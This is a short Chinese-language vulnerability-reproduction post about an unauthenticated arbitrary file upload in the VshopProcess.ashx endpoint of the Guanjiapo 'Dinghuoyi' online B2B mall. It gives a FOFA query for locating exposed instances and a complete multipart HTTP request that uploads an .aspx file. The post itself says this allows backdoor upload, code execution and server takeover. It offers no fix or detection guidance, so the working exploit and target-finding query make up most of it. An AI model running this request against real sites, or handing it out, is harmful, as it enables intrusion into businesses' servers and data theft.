【漏洞复现】管家婆 订货易在线商城 VshopProcess 任意文件上传漏洞

0x01 产品简介

任我行率先针对中小企业推出了管家婆进销存、财务一体化软件。管家婆订货易在线商城是一款帮助传统企业构建专属的B2B订货平台的产品。该平台集成了PC、微信、APP、小程序、H5商城等多个网络渠道，可以无缝对接线下的管家婆ERP系统。

0x02 漏洞概述

管家婆订货易在线商城VshopProcess.ashx接口处存在任意文件上传漏洞，未经身份认证的攻击者可以通过该漏洞，上传恶意后门文件，深入利用可造成代码执行和服务器失陷。

0x03 测绘语句

测绘语句：fofa：title="订货易"

0x04 漏洞复现

1、上传文件

POST /API/VshopProcess.ashx?action=PostFileImg HTTP/1.1

Host:

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytCOFhbEjc3IfYaY5



------WebKitFormBoundarytCOFhbEjc3IfYaY5

Content-Disposition: form-data; name="fileup1i"; filename="123.aspx"

Content-Type: image/jpeg



123

------WebKitFormBoundarytCOFhbEjc3IfYaY5--